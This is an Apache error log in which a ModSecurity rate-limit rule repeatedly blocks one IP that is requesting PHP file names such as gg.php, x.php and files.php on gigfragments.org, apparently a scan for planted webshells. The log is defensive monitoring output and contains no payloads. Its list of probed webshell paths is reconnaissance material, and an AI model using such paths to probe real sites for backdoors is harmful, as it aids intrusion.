[Sun Dec 28 18:43:51.303674 2025] [:error] [pid 29437:tid 29468] [client 172.192.64.62:6883] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aVEJ5xhDotAbVk6pZLeu3gAAAcI"]
[Sun Dec 28 18:43:51.534087 2025] [:error] [pid 29437:tid 29472] [client 172.192.64.62:6851] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aVEJ5xhDotAbVk6pZLeu3wAAAcY"]
[Sun Dec 28 18:43:51.769653 2025] [:error] [pid 29388:tid 29414] [client 172.192.64.62:6857] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aVEJ59oLv2L2zI_SpdXNagAAAVI"]
[Sun Dec 28 18:43:52.006233 2025] [:error] [pid 29388:tid 29406] [client 172.192.64.62:6837] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aVEJ6NoLv2L2zI_SpdXNawAAAUo"]
[Sun Dec 28 18:43:52.294256 2025] [:error] [pid 29437:tid 29480] [client 172.192.64.62:6810] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aVEJ6BhDotAbVk6pZLeu4gAAAc4"]
[Sun Dec 28 18:43:52.562328 2025] [:error] [pid 29437:tid 29467] [client 172.192.64.62:6864] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aVEJ6BhDotAbVk6pZLeu4wAAAcE"]
[Sun Dec 28 18:43:52.794697 2025] [:error] [pid 29388:tid 29418] [client 172.192.64.62:6809] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aVEJ6NoLv2L2zI_SpdXNbAAAAVY"]
[Sun Dec 28 18:43:53.033598 2025] [:error] [pid 29437:tid 29471] [client 172.192.64.62:6789] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/04.php"] [unique_id "aVEJ6RhDotAbVk6pZLeu5AAAAcU"]
[Sun Dec 28 18:43:53.265603 2025] [:error] [pid 29436:tid 29440] [client 172.192.64.62:6737] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/04.php"] [unique_id "aVEJ6bchzOOtNL9VPNLUdAAAAYE"]
[Sun Dec 28 18:43:53.500403 2025] [:error] [pid 29436:tid 29441] [client 172.192.64.62:6827] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/04.php"] [unique_id "aVEJ6bchzOOtNL9VPNLUdQAAAYI"]
[Sun Dec 28 18:43:53.734642 2025] [:error] [pid 29388:tid 29413] [client 172.192.64.62:6911] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/04.php"] [unique_id "aVEJ6doLv2L2zI_SpdXNbgAAAVE"]
[Sun Dec 28 18:43:53.979629 2025] [:error] [pid 42294:tid 42352] [client 172.192.64.62:6821] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "aVEJ6dTE5kYcYCOzl9GuBwAAAII"]
[Sun Dec 28 18:43:54.218052 2025] [:error] [pid 29388:tid 29410] [client 172.192.64.62:6899] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "aVEJ6toLv2L2zI_SpdXNbwAAAU4"]
[Sun Dec 28 18:43:54.452053 2025] [:error] [pid 42378:tid 42394] [client 172.192.64.62:6853] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "aVEJ6jgtcN-KHAjWrX8I0gAAAM4"]
[Sun Dec 28 18:43:54.681476 2025] [:error] [pid 29388:tid 29420] [client 172.192.64.62:6937] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "aVEJ6toLv2L2zI_SpdXNcAAAAVg"]
[Sun Dec 28 18:43:54.908150 2025] [:error] [pid 29388:tid 29403] [client 172.192.64.62:6873] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/520.php"] [unique_id "aVEJ6toLv2L2zI_SpdXNcQAAAUc"]
[Sun Dec 28 18:43:55.136317 2025] [:error] [pid 29388:tid 29407] [client 172.192.64.62:6723] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/520.php"] [unique_id "aVEJ69oLv2L2zI_SpdXNcwAAAUs"]
[Sun Dec 28 18:43:55.367825 2025] [:error] [pid 29388:tid 29417] [client 172.192.64.62:6822] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/520.php"] [unique_id "aVEJ69oLv2L2zI_SpdXNdQAAAVU"]
[Sun Dec 28 18:43:55.604741 2025] [:error] [pid 29388:tid 29419] [client 172.192.64.62:6791] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/520.php"] [unique_id "aVEJ69oLv2L2zI_SpdXNdwAAAVc"]
[Sun Dec 28 18:43:55.831907 2025] [:error] [pid 29388:tid 29408] [client 172.192.64.62:6869] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aVEJ69oLv2L2zI_SpdXNeQAAAUw"]
[Sun Dec 28 18:43:56.063445 2025] [:error] [pid 29437:tid 29477] [client 172.192.64.62:6800] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aVEJ7BhDotAbVk6pZLeu5QAAAcs"]
[Sun Dec 28 18:43:56.307197 2025] [:error] [pid 43789:tid 43800] [client 172.192.64.62:6897] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aVEJ7Aa-tUppni4CcCYhTQAAAQk"]
[Sun Dec 28 18:43:56.566007 2025] [:error] [pid 42293:tid 42345] [client 172.192.64.62:6877] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aVEJ7Mvc9B-5cwN385LRHQAAAFY"]
[Sun Dec 28 18:43:56.808664 2025] [:error] [pid 42293:tid 42332] [client 172.192.64.62:6828] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aVEJ7Mvc9B-5cwN385LRHgAAAEk"]
[Sun Dec 28 18:43:57.041792 2025] [:error] [pid 42378:tid 42385] [client 172.192.64.62:6907] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aVEJ7TgtcN-KHAjWrX8I0wAAAMU"]
[Sun Dec 28 18:43:57.284712 2025] [:error] [pid 29388:tid 29400] [client 172.192.64.62:6788] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aVEJ7doLv2L2zI_SpdXNewAAAUQ"]
[Sun Dec 28 18:43:57.555822 2025] [:error] [pid 29388:tid 29416] [client 172.192.64.62:6938] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aVEJ7doLv2L2zI_SpdXNfQAAAVQ"]
[Sun Dec 28 18:43:57.790247 2025] [:error] [pid 29437:tid 29466] [client 172.192.64.62:6751] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aVEJ7RhDotAbVk6pZLeu5gAAAcA"]
[Sun Dec 28 18:43:58.021861 2025] [:error] [pid 43789:tid 43798] [client 172.192.64.62:6823] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aVEJ7ga-tUppni4CcCYhTwAAAQc"]
[Sun Dec 28 18:43:58.291588 2025] [:error] [pid 29436:tid 29461] [client 172.192.64.62:6801] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aVEJ7rchzOOtNL9VPNLUdwAAAZY"]
[Sun Dec 28 18:43:58.563154 2025] [:error] [pid 29388:tid 29409] [client 172.192.64.62:6829] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aVEJ7toLv2L2zI_SpdXNgQAAAU0"]
[Sun Dec 28 18:43:58.840453 2025] [:error] [pid 42292:tid 42301] [client 172.192.64.62:6888] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aVEJ7pyOrM_vaFx1osY5gQAAAAU"]
[Sun Dec 28 18:43:59.105419 2025] [:error] [pid 29388:tid 29407] [client 172.192.64.62:6812] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aVEJ79oLv2L2zI_SpdXNggAAAUs"]
[Sun Dec 28 18:43:59.341934 2025] [:error] [pid 42378:tid 42388] [client 172.192.64.62:6824] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aVEJ7zgtcN-KHAjWrX8I1AAAAMg"]
[Sun Dec 28 18:43:59.582216 2025] [:error] [pid 42378:tid 42398] [client 172.192.64.62:6894] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aVEJ7zgtcN-KHAjWrX8I1QAAANI"]
[Sun Dec 28 18:43:59.810230 2025] [:error] [pid 42292:tid 42308] [client 172.192.64.62:6735] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2clas.php"] [unique_id "aVEJ75yOrM_vaFx1osY5ggAAAAw"]
[Sun Dec 28 18:44:00.081167 2025] [:error] [pid 29388:tid 29397] [client 172.192.64.62:6836] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2clas.php"] [unique_id "aVEJ8NoLv2L2zI_SpdXNgwAAAUE"]
[Sun Dec 28 18:44:00.378370 2025] [:error] [pid 42294:tid 42353] [client 172.192.64.62:6874] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2clas.php"] [unique_id "aVEJ8NTE5kYcYCOzl9GuCgAAAIM"]
[Sun Dec 28 18:44:00.631223 2025] [:error] [pid 42292:tid 42309] [client 172.192.64.62:6724] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2clas.php"] [unique_id "aVEJ8JyOrM_vaFx1osY5hAAAAA0"]
[Sun Dec 28 18:44:00.858775 2025] [:error] [pid 42294:tid 42360] [client 172.192.64.62:6765] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ave.php"] [unique_id "aVEJ8NTE5kYcYCOzl9GuDQAAAIo"]
[Sun Dec 28 18:44:01.105246 2025] [:error] [pid 42293:tid 42328] [client 172.192.64.62:6843] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ave.php"] [unique_id "aVEJ8cvc9B-5cwN385LRKwAAAEU"]
[Sun Dec 28 18:44:01.351985 2025] [:error] [pid 42294:tid 42367] [client 172.192.64.62:6761] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ave.php"] [unique_id "aVEJ8dTE5kYcYCOzl9GuDwAAAJE"]
[Sun Dec 28 18:44:01.596347 2025] [:error] [pid 42378:tid 42403] [client 172.192.64.62:6854] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ave.php"] [unique_id "aVEJ8TgtcN-KHAjWrX8I1gAAANc"]
[Sun Dec 28 18:44:01.823660 2025] [:error] [pid 42293:tid 42337] [client 172.192.64.62:6859] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wrt.php"] [unique_id "aVEJ8cvc9B-5cwN385LRLwAAAE4"]
[Sun Dec 28 18:44:02.084684 2025] [:error] [pid 42378:tid 42391] [client 172.192.64.62:6950] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wrt.php"] [unique_id "aVEJ8jgtcN-KHAjWrX8I1wAAAMs"]
[Sun Dec 28 18:44:02.326801 2025] [:error] [pid 42293:tid 42326] [client 172.192.64.62:6802] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wrt.php"] [unique_id "aVEJ8svc9B-5cwN385LRMAAAAEM"]
[Sun Dec 28 18:44:02.554082 2025] [:error] [pid 42294:tid 42363] [client 172.192.64.62:6813] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wrt.php"] [unique_id "aVEJ8tTE5kYcYCOzl9GuEAAAAI0"]
[Sun Dec 28 18:44:02.780562 2025] [:error] [pid 29436:tid 29453] [client 172.192.64.62:6786] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bibil.php"] [unique_id "aVEJ8rchzOOtNL9VPNLUeQAAAY4"]
[Sun Dec 28 18:44:03.007980 2025] [:error] [pid 29436:tid 29450] [client 172.192.64.62:6669] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bibil.php"] [unique_id "aVEJ87chzOOtNL9VPNLUegAAAYs"]
[Sun Dec 28 18:44:03.237955 2025] [:error] [pid 42294:tid 42359] [client 172.192.64.62:6806] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bibil.php"] [unique_id "aVEJ89TE5kYcYCOzl9GuEQAAAIk"]
[Sun Dec 28 18:44:03.521979 2025] [:error] [pid 29388:tid 29402] [client 172.192.64.62:6745] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bibil.php"] [unique_id "aVEJ89oLv2L2zI_SpdXNhAAAAUY"]
[Sun Dec 28 18:44:03.751068 2025] [:error] [pid 42293:tid 42340] [client 172.192.64.62:6870] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aVEJ88vc9B-5cwN385LRMgAAAFE"]
[Sun Dec 28 18:44:03.980045 2025] [:error] [pid 42293:tid 42344] [client 172.192.64.62:6764] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aVEJ88vc9B-5cwN385LRMwAAAFU"]
[Sun Dec 28 18:44:04.207525 2025] [:error] [pid 42293:tid 42332] [client 172.192.64.62:6744] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aVEJ9Mvc9B-5cwN385LRNAAAAEk"]
[Sun Dec 28 18:44:04.446819 2025] [:error] [pid 42294:tid 42357] [client 172.192.64.62:6790] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aVEJ9NTE5kYcYCOzl9GuEwAAAIc"]
[Sun Dec 28 18:44:04.673234 2025] [:error] [pid 42294:tid 42364] [client 172.192.64.62:6818] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/files.php"] [unique_id "aVEJ9NTE5kYcYCOzl9GuFAAAAI4"]
[Sun Dec 28 18:44:04.899631 2025] [:error] [pid 42293:tid 42335] [client 172.192.64.62:6933] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/files.php"] [unique_id "aVEJ9Mvc9B-5cwN385LRNQAAAEw"]
